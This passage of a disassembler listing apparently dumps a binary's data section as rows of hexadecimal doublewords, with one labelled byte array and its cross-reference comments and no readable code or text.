		dd 37EE19EFh, 392CEB04h, 5829AE53h, 0CA0Ah, 579FCC00h
		dd 55B9BB39h, 0E3BD673Eh, 2829E139h, 131EC64Ch,	31C25B7Ch
		dd 0D425438Bh, 3FBDDB23h, 2AA2C0Ah, 0F402BA12h,	0B55DE3BFh
		dd 0A93E6DC5h, 0BF10704Eh, 30405D26h, 0B3B45CBCh, 0B8A850D8h
		dd 3B7AF858h, 37EE5852h, 5AB90A7Ah, 0BEFD7BC5h,	31DDF7E3h
		dd 10D10F11h, 0EF44934Fh, 3DBB2B97h, 62ECC6FBh,	0BF51A5E4h
		dd 1713D99h, 0C64C28A9h, 62E8C475h, 911814FDh, 3594CC4Ah
		dd 1C72h, 0A9FA1A61h, 43941EF8h, 0DE2FB792h, 77C8542Dh
		dd 1364EAC6h, 0F5D17485h, 8F6D1E6Fh, 2E0BBC0Dh,	60A859AAh
		dd 0B644F142h, 0EDE00377h, 6F6D4337h, 0DA845D92h, 0C2BA279Bh
		dd 97F76731h, 26A7FFEFh, 4EDAB34Ah, 0A4EC9DEEh,	9F4B3586h
		dd 83913957h, 93EB734Eh, 0BF9BCA12h, 41A19139h,	17468EC3h
		dd 1D0DB53Bh, 0CD2515BDh, 377D576Ch, 87FB3AA2h,	0C731C2BAh
		dd 249AD957h, 6631C2BAh, 0D91896F6h, 37EEDC1Ch,	0D5E08CFCh
		dd 0E87D0869h, 890751E6h, 5440414Ah, 9139A9F5h,	0C0FF4183h
		dd 0F9241D4Ah, 2DA11C8Ch, 6DF9241Dh, 2CAE8CFDh,	0E810A5D4h
		dd 1058C9CDh, 1C5A4AF2h, 1D7D9F79h, 9CF2609Fh, 0B424FF08h
		dd 0E2BFF436h, 3D85065Eh, 0D51DCE1Fh, 0B5F952B7h, 0DF170D48h
		dd 1B9580h, 1D3D8400h, 0B7411BCCh, 52DAB566h, 0EB775001h
		dd 870DE99Ah, 0F217A836h, 8E3F9016h, 2CDD2EB0h,	0C97ACB4Fh
		dd 65126381h, 0E12298D7h, 8E6437EDh, 11509290h,	31C2BABDh
		dd 0BA067CBBh, 0D84831C2h, 33B40C7Ch, 1725CDEBh, 0BA2096D5h
		dd 0F26231C2h, 8CD66B9Ah, 4B8ACC0Eh, 31C2BAF7h,	0C44FA717h
		dd 37EECDF7h, 439B727h,	0EB4CA426h, 1FB402D6h, 442257D5h
		dd 1F4484C2h, 3B88BFE4h, 0D91655E3h, 3931C29Dh,	0D9166CABh
		dd 0C8383D9Ah, 91DA8B8Ah, 46A67446h, 2FB993C8h,	24AA8687h
		dd 0D42C8C7Ch, 89C80A18h, 3D9AFE35h, 28DE555h, 0F52C5C13h
		dd 0BC98F388h, 1965D918h, 35A5E5CBh, 0B5F775D5h, 0C51DA580h
		dd 0E773713Ah, 812999E3h, 75F33DD2h, 5CB2F133h,	7EEBF700h
		dd 0CF2BB60Eh, 0EFEDDB4Eh, 0F3CC017Fh, 77CFBF67h, 4E6CB4E9h
		dd 0D5044CFDh, 0D8C870FCh, 8321378h, 96CE1E98h,	1A9537h
		dd 1D3D8400h, 0B7411BCCh, 52DAB566h, 0EB775001h, 870DE99Ah
		dd 0F217A836h, 8E3F9016h, 2CDD2EB0h, 0C97ACB4Fh, 65126381h
		dd 0E62298D7h, 8E6437EDh, 39579F90h, 0E54DE291h, 0C2BA50A6h
		dd 0A5E47231h, 31C2BA51h, 30A10171h, 0F16FCF53h, 2F7FF1EFh
		dd 2E869D6Ah, 0F07861A0h, 30A037EEh, 211DCADFh,	54BB648Ch
		dd 600FDC61h, 1408200h,	37EE638Dh, 0EA704CCDh, 65A4328Ah
		dd 31C20568h, 0CD573166h, 0ED990975h, 3389BEE2h, 0BE089DC2h
		dd 0A6320B40h, 497EC04Eh, 7240E86Ch, 0E0B8F194h, 66BE1E4Fh
		dd 0EFC8D2DBh, 22CA3A9Eh, 1694DE73h, 0C3DA7BD7h, 6A447998h
		dd 0F04838E0h, 61961484h, 0F9AAFB19h, 112E93B1h, 0DFF38F7Ch
		dd 19C848A7h, 70B70000h, 744EFF50h, 0DE899EAh, 0AA833485h
		dd 401CCD1Eh, 0C2DB69BAh, 74C54B27h, 1263E5C3h,	0AF008461h
		dd 4798B6FEh, 79CD0C9Ah, 9937EDE6h, 579FC5C3h, 4DE29139h
		dd 99468503h, 7937EEE1h, 40A3B809h, 95135DF2h, 0C2FB9956h
		dd 5D097931h, 5D26C652h, 96E07523h, 2ED0D918h, 0D4163E74h
		dd 5AE2195h, 99F1613Eh,	715BD2Dh, 0AE3086C5h, 0E2523E05h
		dd 5EC65B8Ah, 5AEAB1Fh,	1B7BEB3Eh, 0E0F05E9Dh, 0B2223829h
		dd 99B7FF34h, 204F9748h, 2616BE44h, 620861C6h, 0D0085429h
		dd 192971h, 0B1D11800h,	4BD5AF60h, 0E66E49FAh, 7F0BE495h
		dd 1BA17D2Eh, 86A33CCAh, 22D324AAh, 0C071C244h,	5D0E5FE3h
		dd 0F9A6F715h, 0E7D62C6Bh, 22F837EDh, 28579F24h, 0BA62C2E0h
		dd 159B77ACh, 0F6257D6Dh, 97991761h, 8A43E435h,	0A8368E6Ch
		dd 0EEABD469h, 2766F437h, 37EE2BD3h, 0D02665F3h, 0F237EE2Bh
		dd 0D7B12282h, 55B5A54Dh, 6CE9EF04h, 2B97EB2Ah,	47B737EEh
		dd 0C32BC0EFh, 0EE2B0E84h, 80E05037h, 0D81C002h, 4D37EE2Bh
		dd 0A906CDDh, 8C1A7262h, 0C24D804Dh, 2E4C4E31h,	8ADE6ECCh
		dd 2898045Ch, 60396E7Ch, 0BE3C2CD4h, 9AFC0B7Fh,	83DB4B3Dh
		dd 0D3F4C7F8h, 65AF44C9h, 0EEE7A8E7h, 0B0E597CFh, 88F44CD6h
		dd 2CC17018h, 5B6264E2h, 9764010Bh, 0D45C37A8h,	43AFEE7Ch
		dd 7391A3D4h, 76508503h, 0D10694ECh, 691A6B89h,	0C59E0321h
		dd 3BEAAF6Dh, 1834A403h, 0DC230000h, 0E0BA6BBCh, 79540556h
		dd 16EFA0F1h, 0AC88398Ah, 0B647D526h, 0E031B793h, 7ECF512Fh
		dd 1B6CF0CDh, 0B304226Ah, 0C5397806h, 537EDE4h,	5092312Fh
		dd 0C2BABD11h, 156DDD31h, 862E4C94h, 7AF842D7h,	0F210783Bh
		dd 0B634A437h, 495403B4h, 0F9515029h, 0D0EE366Bh, 0A5DEC47Fh
		dd 9CDE37EDh, 0EDA5E95Dh, 61B92937h, 0D6549C32h, 0B79E51D4h
		dd 65E9522h, 0B0ACF4A5h, 0E721F003h, 2665E308h,	37ED65D0h
		dd 0D12282F2h, 1593DD72h
		dd 0DDCFDFD6h, 51CF3F31h, 3AB8421Ch, 0FBA32905h, 0A152B30Bh
		dd 94953DC7h, 94C92E4Ch, 5C4A9548h, 1784C524h, 2C730000h
		dd 300ABB0Ch, 0C9A455A6h, 663FF041h, 0FCD889DAh, 6972576h
		dd 308107E3h, 0CE1FA17Fh, 6BBC401Dh, 35472BAh, 3589C856h
		dd 5537EDE5h, 5CF1817Fh, 5E559412h, 0BE37F210h,	598ED04Eh
		dd 6151F97Bh, 22408809h, 94DC72D1h, 579FD416h, 49A19139h
		dd 0EDEC5CBEh, 660E7E37h, 63D71658h, 0A337EDECh, 5FBF4722h
		dd 0EC037C07h, 72037EDh, 0F76F5500h, 58265826h,	0E8000000h
		dd 2429092h, 114FD1AFh,	0E139E1C1h, 56D41CB2h, 0C210BF17h
		dd 0C76FDF31h, 11A884B9h, 1909B133h, 0C92111B9h, 0C210CC3Eh
		dd 0CFCAE331h, 55A43218h, 8C83855Eh, 98F9B26Fh,	186F99F1h
		dd 31000000h, 0C2BA2495h, 320D4231h, 8E2352AAh,	0EA87C644h
		dd 0A37EEBAh, 0F15F499Ah, 0E1BFF45Ch, 0BA6EE45Fh, 40B031C2h
		dd 0EB2062E0h, 0EEDE8612h, 0DD4E0B96h, 3EAE37EEh, 2F4D9596h
		dd 0C7E52DDEh, 96361449h, 0EE9EE357h, 53B32337h, 664243FBh
		dd 28B48DC2h, 0EE9E59ADh, 0CB097937h, 0EA97C481h, 0CE76D6AAh
		dd 0DEF396DFh, 76277896h, 0B968102Eh, 97DBC24h,	4937EE1Fh
		dd 0BCFB79D9h, 31C26FC7h, 95469707h, 7C872F4Dh,	0A5A1D4E5h
		dd 253ADD26h, 0BD6EBFDDh, 84FA3975h, 0C6B54DE6h, 3678F656h
		dd 4DE683F7h, 0FB53C3B5h, 0BF694243h, 4DE60A80h, 7CDC4CB5h
		dd 70F8D3D4h, 63EDC7C8h, 0F198B1BBh, 0E32577F1h, 4DE62EA4h
		dd 0F8805BB5h, 94046050h, 2220E73Ch, 318913EDh,	0CC4A68B0h
		dd 89314F97h, 0C424AE88h, 125A0B6Ch, 0C8C9BC16h, 1272B384h
		dd 0DC26BB6Ah, 70021F5Eh, 2292B361h, 0BAD820D1h, 0B1331112h
		dd 9E20FE33h, 6B6DE120h, 3DADBB79h, 0BC3E2DE5h,	3714AB87h
		dd 0A6FB53B3h, 88A6EEE3h, 203E8637h, 0AD2160A2h, 0EDBB796Bh
		dd 0BE6D257Dh, 2C61DF29h, 3020C852h, 6084AD8h, 0DA7AE0AAh
		dd 3DC82029h, 0BD557874h, 32E334A4h, 1624CCEAh,	4C90D2D4h
		dd 0A0915A0Ch, 25E4D125h, 381F1A1h, 25E44EC4h, 0C82090A1h
		dd 25E4CD3Dh, 981AF8D1h, 8C14EFF0h, 867916E4h, 2666E283h
		dd 0D79B7EC7h, 0B9222422h, 0D01DD34Bh, 0EDAC0159h, 1066A5E7h
		dd 1D912522h, 2313BB41h, 7EFF57C7h, 16C71836h, 0C0DB539h
		dd 102AA30h, 0F4F59D27h, 0A5EA9218h, 4A2839E0h,	0D03020C8h
		dd 441DFC95h, 0E192E367h, 0C0028004h, 8129AF8Bh, 22A01691h
		dd 72E29125h, 8861621Ah, 6F497EFCh, 613C3DE5h, 0E14131D9h
		dd 0B20A2870h, 93B1F9FAh, 84A2EAEBh, 0DEB9D2DCh, 0AF6AB312h
		dd 51D5B2h, 0CCFE0042h,	4EF36801h, 0C33E940Fh, 12609125h
		dd 6CB9B753h, 0F850B0A5h, 6E169A77h, 62E02ABFh,	9AE5623h
		dd 2362A497h, 96D12CAFh, 0BB277FEFh, 8099A34Bh,	89EBC899h
		dd 0A1B1D66Bh, 0E83999B9h, 8FADF52Ah, 506EB637h, 415FA7A8h
		dd 5235CE99h, 0E939357Dh, 8B703304h, 0B818A07Bh, 765C0758h
		dd 2DB742FDh, 3Eh, 3EC29FEFh, 0CB3F7EC0h, 0B31C2BAh, 7D8B439Bh
		dd 3AD8393Bh, 0A7239BE6h, 0C296D62Ch, 3088F831h, 0A4226C01h
		dd 0EEE97865h, 68417637h, 0A81884DCh, 2F4857h, 51860000h
		dd 5444EC78h, 909242FCh, 0EBA32Dh, 8711EB54h, 714ECF27h
		dd 19645EDh, 0C2F739B7h, 7B065EE8h, 37EEC392h, 0FE8A6398h
		dd 79CA3AA6h, 9F9D3B8Fh, 42C00Ah, 0F94610FEh, 0AB5593B1h
		dd 4B2697F9h, 0D32B1BC3h, 0EE1F8B48h, 0C8074937h, 37EE5F72h
		dd 60CC2494h, 0C53944F0h, 42205934h, 0A3E563ADh, 46AC2261h
		dd 7EEECB1Dh, 2C929B26h, 8AFACD31h, 769E33E2h, 215AD07h
		dd 1C9AFA2Bh, 634CD8DAh, 3983BDECh, 0B0F856E1h,	0AA1A36E2h
		dd 80AFF72Ch, 86761EA4h, 0DC24D526h, 8B2CEDE0h,	0FE5E139Ah
		dd 6F0EBE99h, 8BEA2245h, 138Ah,	0C1123279h, 5BAC3610h
		dd 0F647CFAAh, 8FE06C45h, 2B7C02DEh, 0DE90C9Dh,	0A7853687h
		dd 4623D425h, 78C071C2h, 0CE5C095Ah, 0EDD93B8Fh, 87855B37h
		dd 0C2BB2195h, 0BF099E31h, 0EA110241h, 0C84937EEh, 0BBBC64EEh
		dd 0C1B159DFh, 41830161h, 0FEA6C40Ch, 895DB1F0h, 0D7D37EEh
		dd 0F7D455ADh, 94712273h, 1F676810h, 892EA4E3h,	7037EEh
		dd 47463BA0h, 82BA4462h, 131123h, 99B90000h, 33BD9748h
		dd 0CE5631E2h, 67F3CC7Dh, 3896516h, 6E8B24B2h, 0ABB0C92h
		dd 0A859AA2Ch, 45F647CBh, 0E18EDFFDh, 0D9BE1453h, 0AE037EDh
		dd 125CF10Ch, 0EB7C5594h, 2C9C37EEh, 159F79AEh,	0AF3913C4h
		dd 0A0BE0607h, 961AF7F8h, 8A12EDEEh, 31D89DE2h,	0FB9EB731h
		dd 43C7A4D9h, 0D253AB9Bh, 81D6EF8h, 0FD4BDDE5h,	0CE765051h
		dd 0EE883B8Fh, 8BEB5B37h, 8867D8E3h, 34CD37EEh,	5F3A6F55h
		dd 607EC6h, 12A68A58h, 0CBA14F76h, 0B892136Bh, 9F7BB02Eh
		dd 46CCA819h, 0F556AE9Eh, 38E06A44h, 5199F489h,	3B9B8B33h
		dd 3BD77EBDh, 970731DEh, 6D9CE419h, 75650D8Fh, 0CB13C415h
		dd 0C15605ADh, 0B5B7F977h, 45319513h, 0B208470Dh, 0D43D9940h
		dd 21AC0464h, 3BA9EAEDh, 0FD3FBD2Dh, 3640E8FBh,	7D0A62BAh
		dd 293F7D1Fh, 8C0D6563h, 17D52644h, 1E2096D5h, 0F2622349h
		dd 0B3D1199Ah, 7DC75C0Bh, 0FFBBBDFFh, 0E4E71D15h, 5B008BE3h
		dd 7B256518h, 0D5A60Bh,	0E31B56EEh, 11F584h, 7D9DE400h
		dd 17A17B2Ch, 0B23A15C6h, 4BD7B061h, 0E76D49FAh, 52F70896h
		dd 0EE9FF076h, 8C3D8E10h, 29DA2BAFh, 0C572C3E1h, 0DE82F837h
		dd 0EEC437EDh, 0BA3895F0h, 664331C2h, 9ED391E2h, 0B2E139C5h
		dd 0BD71F51Dh, 0CF1DABCBh, 4B2F16Fh, 9437F23Eh,	0F265E792h
		dd 0D9508E18h, 51BD15B4h, 0E62E63E1h, 0AA52DEB7h, 74025ABAh
		dd 8BDC643Fh, 45BFA5A1h, 88765ED6h, 38000001h, 0E2169092h
		db 0F6h
byte_530055	db 0F3h, 0A4h, 2Fh	; DATA XREF: ___:off_42CC84o
					; ___:off_42CC9Co
		dd 0E72FA8D7h, 0C6E63438h, 63D71676h, 0A331C2CBh, 0C973D333h
		dd 0CA4E5092h, 3C9F4AD7h, 87F883DBh, 0A531C231h, 1E4400A3h
		dd 2B836F87h, 5A2529E7h, 0FFD70337h, 2492F59Fh,	0BD115092h
		dd 0DD31C2BAh, 0DFC0156Dh, 105EF1D5h, 0F1168066h, 6467115Fh
		dd 45CFA52Ah, 0C0026156h, 0A37589BEh, 0D24D5449h, 32C2DE7Ch
		dd 0BB411D9Eh, 6BC32313h, 3241h, 5EF10300h, 53926610h
		dd 31C2BAFAh, 69EFCB00h, 0D79D1C1h, 0EB29B18Ch,	0F5A11D7Bh
		dd 0EB95F506h, 0C49F2492h, 1FC7512Bh, 0F525CF2Fh, 2F41B7h
		dd 0F1530000h, 9266105Eh, 0A3AB6590h, 5AB2CEB6h, 213C8DCCh
		dd 868431C2h, 0C221F347h, 43A31331h, 9F249299h,	0F5923CC4h
		dd 4CD2AEE3h, 1E7602DBh, 11509264h, 31C2BABDh, 9A156DDDh
		dd 615645C4h, 62E4C2F7h, 56E00Ah, 0F1A20000h, 5EB4F35Fh
		dd 6B31C2BAh, 73630B8Dh, 9D47A717h, 0EB805D92h,	0F2E28A0Eh
		dd 0A2FAEA92h, 0BA64D514h, 16A431C2h, 0C2BA63D7h, 0CC428131h
		dd 0E31C2BAh, 0E6C1429Eh, 0F49EFE5Eh, 700C9092h, 0CA0A1F0Ch
		dd 0CEBE66F0h, 1A88166Eh, 913BC59Fh, 3141B7F5h,	53000000h
		dd 67115FF1h, 0BAFA5392h, 6A4A31C2h, 55DBB7ECh,	249243FDh
		dd 913BC59Fh, 0E9825D92h, 0F1E1890Bh, 0A1F9E991h, 0E3226476h
		dd 31C2BA6Fh, 2DE73FAFh, 0FFFE7841h, 0A97D7FFFh, 120F838Eh
		dd 0F1F9B30Bh, 9E26015Ch, 7C7EC03Eh, 5A38C3CDh,	24030D8h
		dd 417F1A7Bh, 70BA8154h, 0C752AA90h, 37F228CCh,	0D42C030h
		dd 0C654AC30h, 0AC4D4991h, 8E63EA4Ch, 0C72677D7h, 2C6BE933h
		dd 37ED0CD6h, 1D8BAAF8h, 5DFC5291h, 0AE1E37EDh,	3582B970h
		dd 0B2222DD5h, 0C137EDF0h, 10F6E1A8h, 0C7582704h, 30h
		dd 0BA259589h, 85031C2h, 6DDE99EAh, 0EA31C2BAh,	4E8D0B55h
		dd 37EEEBC1h, 77FFDA0Fh, 0C543B31Fh, 401AB790h,	0BE1E0EB6h
		dd 0C8F60566h, 8000000h, 0B5F45CF1h, 31C2BA41h,	33B11181h
		dd 0EEC157F4h, 2B068737h, 0AB0BFBA3h, 0B17F2B2Dh, 592E3B9Dh
		dd 0B49CFD1h, 98F0400Ch, 74F8D50Ah, 11957223h, 4C265B69h
		dd 0A63B6AC2h, 0FC9FDE5Ch, 2031DE18h, 0B1F032B0h, 3D99E45Dh
		dd 27B50D7Dh, 50D2B0E5h, 169A77F8h, 0A3175698h,	0E33D99E4h
		dd 0D7F53573h, 5D3A214Fh, 16F3A405h, 867B46B4h,	0A6135C3h
		dd 91B8249Eh, 56FE5EBEh, 4AC812A7h, 0A974840Bh,	0FA78E83Bh
		dd 0E5F7DC5h, 92F7155Dh, 50C0E1E3h, 0CF66C5FDh,	0BE00000Eh
		dd 55065777h, 0EFA0F17Bh, 8A3B8C14h, 23D425B1h,	0E270C147h
		dd 0CA502CC9h, 68EAC879h, 5896617h, 9DBB03B4h, 0D2119F4Ch
		dd 37EDDD7Ch, 9FCAC89Eh, 0B9BB3957h, 35E96BD3h,	0B56DC542h
		dd 0A64E6CB4h, 7D4742DBh, 8FE76B48h, 57A8C60Eh,	55BFC6ACh
		dd 3D7D5Eh, 0F13F0000h,	5294125Ch, 0BA7DD110h, 0AA8831C2h
		dd 45CCC28h, 0EED0B079h, 0C068D837h, 0DB5977BFh, 9D45C9A6h
		dd 43F455ADh, 8635DDFBh, 0EA29A7F1h, 31C2D75Dh,	0FEBC0D7Dh
		dd 0C169EBC9h, 9FBF79D1h, 39EA3BC5h, 1557D55Fh,	0C2BA60D6h
		dd 0DA32A231h, 1DF1422h, 4CC2017Fh, 8E31C2BAh, 0DC3BC61Eh
		dd 0EB31C2BAh, 0DA398A0Eh, 3E7DFB45h, 37F210E5h, 7905DE13h
		dd 1D89E1D1h, 0B8ED2FADh, 0A9AA5270h, 0AAE848CCh, 26A2DE7Ah
		dd 4BCC24EDh, 74FCD770h, 0B7FBECCh, 4B37ED6Dh, 9D1B7BDBh
		dd 6D414F9Bh, 88E0DD64h, 0BFA53D27h, 765ED645h,	161h, 0E60F138h
		dd 1B509264h, 677BB93Fh, 0D64AB512h, 0FE4FDA32h, 4631C204h
		dd 81F27A55h, 11BB1B39h, 0CACB2492h, 378BCA0Ch,	5731C2BAh
		dd 0F1D58FE7h, 8066105Eh, 7F5D9216h, 28B28CFDh,	0E30FA1D0h
		dd 448C7B99h, 508E7E26h, 3F9F0863h, 26448CC1h, 5D9214CEh
		dd 0E5A1F983h, 45CFA5ABh, 3A666156h, 28000000h,	0B3F25EF1h
		dd 31C2BA5Fh, 31AF0F7Fh, 92F4542Fh, 98F00F0Ah, 0FA5392DEh
		dd 2231C2BAh, 23FF34B2h, 928B459Dh, 1EC49F24h, 0C2BA6BDFh
		dd 0DB3BAB31h, 41B7F531h, 38h, 105EF153h, 61179092h, 0BA8D6CF5h
		dd 0E4CE54Eh, 1E76DB7Ch, 0FA539264h, 4A31C2BAh,	2492C06Ah
		dd 502BC49Fh, 0B5EA68C8h, 3EF850DCh, 0BD115092h, 0DD31C2BAh
		dd 0ACEA156Dh, 5645CFA5h, 4D6661h, 0F1280000h, 9193115Fh
		dd 25750897h, 0CB85DD3Dh, 3E1B5092h, 0BACB3FBAh, 9B0B31C2h
		dd 576B543h, 4531C2BAh,	5D922BD5h, 88501B83h, 43B7A76Eh
		dd 0DA4B3BE3h, 932179FDh, 0B8421C51h, 0C59FA660h, 5D92913Bh
		dd 79A4FC80h, 31413Bh, 0F1530000h, 9267115Fh, 0C2BAFA53h
		dd 7C594A31h, 538C491Ah, 97F771F3h, 2CA2E1EFh, 6E31C280h
		dd 943E9EFEh, 0C59F2492h, 0E3F5913Bh, 0A04866AEh, 419E58B0h
		dd 0FFFFFE96h, 825D9253h, 0A6252FAh, 7EFC46DBh,	0F210743Fh
		dd 4C27A837h, 0B1E664C4h, 9BFA4B69h, 3FBD07h, 37EDED8Ah
		dd 159775AAh, 0B9257D6Dh, 9555876Bh, 0D535B44Dh, 6B2222Dh
		dd 6FC137EDh, 44C50A6Dh, 0E971B54Bh, 117A23BFh,	71C61E7Eh
		dd 17D9BF96h, 0EA2C5827h, 0ED8457ABh, 0AAE97737h, 37ED8454h
		dd 4EA60676h, 1324h, 2595E600h,	5031C2BAh, 79FBD908h, 0D5B9C819h
		dd 0CB000000h, 94125CF1h, 0EEEB0455h, 0D4ADE237h, 58B0A048h
		dd 0FCFE7CECh, 5F7820A0h, 0B5439B0Fh, 0CE1FA380h, 14BC401Dh
		dd 886D065h, 0DEEBA6C9h, 58D64631h, 71C24623h, 0F02F71B3h
		dd 3D9EEB9Ah, 7DD14CBCh, 9D3D9EEBh, 7754D52Dh, 79C4BF3h
		dd 0E949D1ACh, 5FE52C6Bh, 0B2E73BAEh, 0DE623FD6h, 9F89407Eh
		dd 8BD66FA7h, 0F979C733h, 0AF3310E7h, 1FE50C71h, 2313BB45h
		dd 0B0E563C3h, 0D7613BD6h, 37DF3F2Fh, 28D0EE36h, 0F280D838h
		dd 65775BDh, 91044648h,	0E107E520h, 0A2C00889h,	0C1D4723Dh
		dd 7669E50h, 0B4Ah, 81D2F239h, 1B6CF6D0h, 0B6078F6Ah, 4FA02C05h
		dd 0EB3CC29Eh, 0CDA94C5Dh, 6745F647h, 6E394E5h,	38803182h
		dd 8E1CC91Ah, 0EDD1FB4Fh, 47451B37h, 0BB39579Fh, 7A22AC86h
		dd 797A328Ah, 0A2240231h, 36CF9A42h, 18367E53h,	4E361CC7h
		dd 52ED5E56h, 0DB000000h, 3876499h, 9AF06B5Bh, 0BC31C2B2h
		dd 0F13AF44Ch, 5294125Ch, 0C2BABF13h, 176FDF31h, 35124789h
		dd 25CE59B1h, 0D537EEE0h, 74BCBD65h, 0C540556h,	29746EEh
		dd 9D45CBA7h, 90CF4DADh, 31C2CEDFh, 269CDB1Dh, 533D9AECh
		dd 2292EE7Ah, 9DEE5ECAh, 1B5092B3h, 1D0DB5D3h, 0C2BA2CA2h
		dd 0A6FE6E31h, 43C14B25h, 4F8E320Eh, 31C2BAFBh,	0F34BAB1Bh
		dd 0BA7AD792h, 0A88531C2h, 0DF74D324h, 3513A684h, 0DDAB53B3h
		dd 9F960278h, 0DB3B9B4Bh, 7881E5Dh, 9A0A37F2h, 840CE71Ch
		dd 0BFA54933h, 125ED645h, 1F7795DDh, 16AF5h, 6CA1E300h
		dd 71610991h, 42BA80F6h, 4765AD31h, 0E353AF9Fh,	60F1D18Bh
		dd 5392640Eh, 31C2BAFAh, 0B7EC6A4Ah, 9BA9516Fh,	0C2BAE65Ch
		dd 58B82831h, 24924600h, 0F8845D92h, 0CE26AA87h, 0F18E9879h
		dd 8066105Eh, 815D9216h, 0B6353FBh, 52FC44DCh, 0CFA52A64h
		dd 66615645h, 3Ch, 325EF128h, 92DDEEFh,	4EC403F6h, 9031C268h
		dd 74FC020h, 0F15141E9h, 0DA643E73h, 5392C882h,	31C2BAFAh
		dd 9208B222h, 3CC49F24h, 27AD89BEh, 7D378F7Fh, 3941B7F5h
		dd 53000000h, 0E7845D92h, 0EADA820Eh, 6C03328Ah, 53927822h
		dd 31C2BAFAh, 92C06A4Ah, 55FD7F5Dh, 3D7F0D65h, 66E8C6FBh
		dd 0C2BA97EBh, 0D647B731h, 0DECE76F8h, 0C49FCC86h, 0B7F5923Ch
		dd 5645CFA5h, 416661h
		dd 1F540000h, 0A963BB45h, 67115FF1h, 0FB815D92h, 0BAC83E7Dh
		dd 9A0A31C2h, 7072B442h, 0FB9E227Eh, 0AC86F7E2h, 328A7A22h
		dd 0C25756A7h, 0ADF57631h, 97F7E78Fh, 9F2492EDh, 0F5913BC5h
		dd 3341B7h, 0F1530000h,	9267115Fh, 0C2BAFA53h, 3CFE0031h
		dd 8C06D8B2h, 1FA983F4h, 0EB2F8777h, 0F29A1CFAh, 92F8A202h
		dd 3BC59F24h, 11509291h, 31C2BABDh, 0EA156DDDh,	0FEA041ACh
		dd 3D7FFFFFh, 0C2BA88FEh, 0D99EE831h, 296CF1BEh, 0A0307FCDh
		dd 609EA20Eh, 92EEA800h, 9FF7155Dh, 1391DB70h, 0BA3C92D1h
		dd 0FD3C31C2h, 31C2BA89h, 8DFD59C9h, 0AD68A735h, 0D137F210h
		dd 66AEE361h, 298F748h,	2A073CBAh, 0B60EFEA6h, 65A4E628h
		dd 37EDEC11h, 0DE69C131h, 37EDEC68h, 87923AAAh,	37EDEC2Dh
		dd 31D9613Ch, 24CC5630h, 8D9C059h, 0DFDA52Dh, 0A0D26ADh
		dd 26F7755Bh, 2B2C58h, 0E51A0000h, 0D008A20Ch, 0E7CBE324h
		dd 2DEDF87h, 0AC41C7Ch,	0C2BA2595h, 0D9085031h,	0DFCF77FDh
		dd 0F2CC017Fh, 0A0AF1068h, 0ABh, 125CF1B2h, 411D5294h
		dd 5BD863BBh, 9937EED0h, 0A8008A64h, 0C4ECC3Ch,	0EEAF79CDh
		dd 0D1299937h, 0F3CC0143h, 0B18E0F67h, 4E2BDC2Dh, 0DE7322CAh
		dd 0CCD71694h, 2E31DE05h, 0AC326C2Ch, 0D62E2F08h, 477CFA6Ah
		dd 0E495E66Ah, 2CDB8307h, 90CF4D97h, 3BA93109h,	3D7FFD6Dh
		dd 0A82A08h, 0EF37B810h, 87CF80D1h, 0DE187C58h,	2381FE2Ch
		dd 54B91979h, 50C10045h, 0D71473ABh, 0C6000007h, 5D0E5F7Fh
		dd 0F7A8F983h, 9243941Ch, 2BDC2DB9h, 0EA78C94Fh, 0D25834D1h
		dd 70F2D081h, 0D916E1Fh, 0A5C30BBCh, 0DA19A754h, 37EDD464h
		dd 9FD2D0A6h, 0D0BD5B57h, 705CEC5Bh, 1F676810h,	162EA4E3h
		dd 7031C2h, 942DF8A0h, 6594DCF5h, 6757FF1Dh, 7A548907h
		dd 5848F0h, 0A60EF49Fh,	5F615E55h, 0BCAA158Ch, 1BFCE0F4h
		dd 9173BCFAh, 3D254FA7h, 0E7000000h, 0BD115092h, 0DD31C2BAh
		dd 9822FC6Dh, 327C1140h, 0BB3875B4h, 0E85837EEh, 0D05C356Ah
		dd 28E03828h, 48EC181Ah, 66DF00Ch, 0AB23AEh, 0AFC837EEh
		dd 9817FDE8h, 76CE5829h, 90000000h, 94125CF1h, 0EEC52455h
		dd 1756E437h, 37EEB1A3h, 951373E3h, 38D9D293h, 5AB2E7C4h
		dd 0C99294A2h, 7624432Ch, 478F1068h, 0DF27D829h, 0D60B19C1h
		dd 0ED1C74FAh, 5DB1F058h, 7D37EE0Dh, 0D5AB0EFh,	0C7C37EEh
		dd 8CCE4CACh, 0DB70B4Ah, 67D737EEh, 0D54AAE9h, 67637EEh
		dd 679623AEh, 0B80631C2h, 6CE94Ch, 4596F699h, 0DB0A5287h
		dd 0E1D179FFh, 91E9D981h, 9B993BD7h, 3C3EBC06h,	26D954C3h
		dd 30BE16F5h, 0EE19E4F1h, 26A41437h, 5D51A5E4h,	17137EEh
		dd 13E2EDA9h, 0E9F415E2h, 0D17C56E7h, 0D5C56DF7h, 9590A997h
		dd 1E790E3Dh, 0DB59B945h, 9A42CCA6h, 85C452AAh,	0F14DE884h
		dd 0BECC74E4h, 0CF27AD89h, 43C10BA0h, 22A4FF01h, 7F929D82h
		dd 22600BA4h, 0DB33D037h, 210DE250h, 0B3C614FBh, 22B5F199h
		dd 2257D535h, 6DCDABDAh, 0D8591C7h, 2495F5FCh, 1263C347h
		dd 96FB1961h, 1132DFFDh, 1F4CABE3h, 0E000006h, 0A556A7C7h
		dd 3FF041CBh, 0DA8BDC64h, 73247501h, 32C01197h,	1AA07C99h
		dd 0B83A18C9h, 55D9B667h, 0ED0B5304h, 2261EF9Ch, 37EDCAACh
		dd 9F1A18EEh, 83913957h, 0BA8C0241h, 5ECE31C2h,	0BA2DA1E0h
		dd 0FD6D31C2h, 0C14924A5h, 3170B270h, 31C2BADDh, 6358DFDh
		dd 6AA92771h, 37F210BBh, 0CACB73E3h, 0CB0267EFh, 45446569h
		dd 5B0AE0Dh, 589F0000h,	5C36E738h, 0F5D081D2h, 926B1C6Dh
		dd 2804B506h, 2AC351A2h, 5CAD330Fh, 0FA4BCDABh,	97E86C49h
		dd 2F809EE6h, 41B5F482h, 8137EDCBh, 5CF1ADABh, 32559412h
		dd 0D237F210h, 8BEB0951h, 7F07E2E3h, 656AAD1Ah,	0BC1B5344h
		dd 562h, 99EA0A51h, 33840EE8h, 0CE1FA782h, 67B8441Dh, 354DAB6h
		dd 0E5C16475h, 7F5D0E5Fh, 1EFBACFDh, 5098499Ah,	0A634E132h
		dd 0EDCB1367h, 5F5D3337h, 94125CF1h, 0F2103655h, 0BE66D637h
		dd 5B396EB0h, 0ECE85ED9h, 0BA2A37EDh, 3FE76D49h, 9B76F74Fh
